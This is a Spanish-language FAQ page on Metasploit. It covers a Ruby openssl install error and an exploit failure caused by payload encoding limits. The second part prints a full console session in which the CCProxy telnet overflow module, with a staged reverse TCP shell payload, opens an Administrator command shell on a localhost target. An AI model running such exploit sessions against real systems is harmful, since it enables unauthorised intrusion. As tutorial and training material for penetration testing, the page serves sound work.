Metasploit/Preguntas Frecuentes
Instalación
[editar]Errores
[editar]no such file to load -- openssl (LoadError)
[editar]P: Cuando ejecuto Metasploit por primera vez, obtengo el error: no such file to load -- openssl (LoadError)
- Ejemplo:
[~/metasploit]# ./msfgui ./lib/rex/socket/ssl_tcp_server.rb:4:in `require': no such file to load -- openssl (LoadError) from ./lib/rex/socket/ssl_tcp_server.rb:4 from ./lib/rex/socket/comm/local.rb:5:in `require' from ./lib/rex/socket/comm/local.rb:5 from ./lib/rex/socket.rb:22:in `require' from ./lib/rex/socket.rb:22 from ./lib/rex.rb:71:in `require' from ./lib/rex.rb:71 from ./msfgui:10:in `require' from ./msfgui:10
R: Metasploit requiere la implementación de Ruby de openssl - no la implementación estándar de C de openssl usada por Apache etc. Instale la biblioteca necesaria de ruby-openssl.
- Ejemplo (para Debian - comprueba tu SO o intenta usando gem):
pwebster@metasploit:~$ apt-cache search ruby | grep openssl libopenssl-ruby - OpenSSL interface for Ruby libopenssl-ruby1.8 - OpenSSL interface for Ruby 1.8 libopenssl-ruby1.9 - OpenSSL interface for Ruby 1.9 pwebster@metasploit:~# apt-get install libopenssl-ruby
Modulos Exploit
[editar]Errores
[editar]Exploit failed: No encoders encoded the buffer successfully
[editar]P: Después de fijar todos los parametros requeridos por un modulo exploit y ejecutar exploit, recivo el siguiente error: [-] Exploit failed: No encoders encoded the buffer successfully.
- Ejemplo:
msf > use windows/proxy/ccproxy_telnet_ping msf exploit(ccproxy_telnet_ping) > info Name: CCProxy <= v6.2 Telnet Proxy Ping Overflow Version: $Revision$ Platform: Windows Privileged: No License: Metasploit Framework License Provided by: Patrick Webster <patrick [at] aushack.com> Available targets: Id Name -- ---- 0 Windows 2000 Pro SP0 - English 1 Windows 2000 Pro SP1 - English 2 Windows 2000 Pro SP2 - English 3 Windows 2000 Pro SP3 - English 4 Windows 2000 Pro SP4 - English 5 Windows XP SP0/1 - English 6 Windows 2003 Server SP0/1 - English Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 127.0.0.1 yes The target address RPORT 23 yes The target port Payload information: Space: 200 Avoid: 5 characters Description: This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service. The stack is overwritten when sending an overly long address to the 'ping' command. msf exploit(ccproxy_telnet_ping) > set TARGET 4 TARGET => 4 msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell_reverse_tcp PAYLOAD => windows/shell_reverse_tcp msf exploit(ccproxy_telnet_ping) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 msf exploit(ccproxy_telnet_ping) > check [*] The target appears to be vulnerable. msf exploit(ccproxy_telnet_ping) > exploit [-] Exploit failed: No encoders encoded the buffer successfully.
R: Los payloads disponibles (show payloads) son determinados por el espacio de memoria disponible ('Space') para el exploit a usar. En el ejemplo, el espacio para el payload es: 'Space: 200'. Sin embargo, la aplicación objetivo no permite que ciertos caracteres sean usados (generalmente el carácter nulo 0x00 ya que marca el fin de una cadena [character array]). En el ejemplo el payload no permite cinco caracteres: 'Avoid: 5 characters '
Cuando ejecuta el exploit, el generador del payload intentara meter el payload en un espacio de 200, excluyendo 5 caracteres específicos. Esto no siempre es posible, y dará lugar al error: No encoders encoded the buffer successfully.
Sin embargo, no todo está perdido. Metasploit Framework incluye la capacidad de apoyar payloads organizadamente. Un payload organizado es un payload significativamente más pequeño que, en vez de ejecutar la acción deseada (tal como reverse shell), comenzará una plataforma de organizar que pueda entonces agregar a esa plataforma. Entonces en nuestro ejemplo, en vez de una reverse shell completa, lo hará asi:
- Crear la plataforma de organizar.
- Asignar bastante memoria para sostener el payload deseado.
- Obtener el resto del payload de usted.
- Ejecutar el payload en total.
Generalmente, todos los exploit organizados son denotados por '/' después del payload deseado. Algunos ejemplos son:
windows/dllinject/reverse_tcp Windows Inject DLL, Reverse TCP Stager windows/download_exec/bind_tcp Windows Executable Download and Execute, Bind TCP Stager windows/exec/find_tag Windows Execute Command, Find Tag Ordinal Stager windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager windows/upexec/bind_tcp Windows Upload/Execute, Bind TCP Stager windows/vncinject/reverse_ord_tcp Windows VNC Inject, Reverse Ordinal TCP Stager
Ahora que sabemos que no siempre se puede ejecutar un payload 'Íntegro', podemos usar uno organizado en esos casos:
... msf exploit(ccproxy_telnet_ping) > exploit [-] Exploit failed: No encoders encoded the buffer successfully. msf exploit(ccproxy_telnet_ping) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(ccproxy_telnet_ping) > exploit [*] Started reverse handler [*] Trying target Windows 2000 Pro SP4 - English on host 127.0.0.1:23... [*] Sending stage (474 bytes) [*] Command shell session 8 opened (127.0.0.1:4444 -> 127.0.0.1:2016) Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\Documents and Settings\Administrator>